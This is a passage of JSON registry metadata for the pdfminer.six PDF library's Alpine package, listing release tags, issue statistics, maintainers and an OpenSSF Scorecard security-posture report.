fminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2025-09-12T00:55:10.563Z","dependent_packages_count":4,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":9.00393261724482,"stargazers_count":2.705875447555321,"forks_count":1.778482127135059,"average":3.3720725479838},"purl":"pkg:apk/alpine/py3-pdfminer?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.16","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-09-10T16:45:28.100Z","issues_count":303,"pull_requests_count":171,"avg_time_to_close_issue":35471281.30578513,"avg_time_to_close_pull_request":7587995.797202798,"issues_closed_count":121,"pull_requests_closed_count":143,"pull_request_authors_count":48,"issue_authors_count":192,"avg_comments_per_issue":1.7425742574257426,"avg_comments_per_pull_request":1.304093567251462,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":77,"past_year_pull_requests_count":73,"past_year_avg_time_to_close_issue":2039387.9615384615,"past_year_avg_time_to_close_pull_request":2690641.090909091,"past_year_issues_closed_count":26,"past_year_pull_requests_closed_count":55,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":36,"past_year_avg_comments_per_issue":0.8831168831168831,"past_year_avg_comments_per_pull_request":0.9726027397260274,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.16/packages/py3-pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.16/packages/py3-pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.16/packages/py3-pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.16/packages/py3-pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.16/packages/py3-pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.16/packages/py3-pdfminer/codemeta","maintainers":[{"uuid":"clandmeter@alpinelinux.org","login":null,"name":"Carlo Landmeter","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","packages_count":304,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","role":null,"created_at":"2023-02-01T14:22:07.073Z","updated_at":"2023-02-01T14:22:07.073Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.16/maintainers/clandmeter@alpinelinux.org/packages"}],"registry":{"name":"alpine-v3.16","url":"https://pkgs.alpinelinux.org/packages?branch=v3.16","ecosystem":"alpine","default":false,"packages_count":17040,"maintainers_count":328,"namespaces_count":2,"keywords_count":0,"github":"alpinelinux","metadata":{"repos":["main","community"]},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.662Z","updated_at":"2026-04-27T18:20:24.295Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.16/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.16/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.16/namespaces"}},{"id":11139627,"name":"py3-pdfminer-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-pdfminer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-09-27T21:53:35.000Z","latest_release_published_at":"2024-09-27T21:53:35.000Z","latest_release_number":"20240706-r0","last_synced_at":"2026-04-01T01:47:50.048Z","created_at":"2024-12-07T12:59:13.271Z","updated_at":"2026-04-01T01:47:50.048Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.21/community/x86_64/py3-pdfminer-pyc","install_command":"apk add py3-pdfminer-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2025-05-06T16:15:59.000Z","size":14777,"stargazers_count":6688,"open_issues_count":225,"forks_count":993,"subscribers_count":117,"default_branch":"master","last_synced_at":"2025-09-09T22:39:55.166Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2025-09-08T13:25:10.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":27,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274693397,"owners_count":25332518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-11T02:00:13.660Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},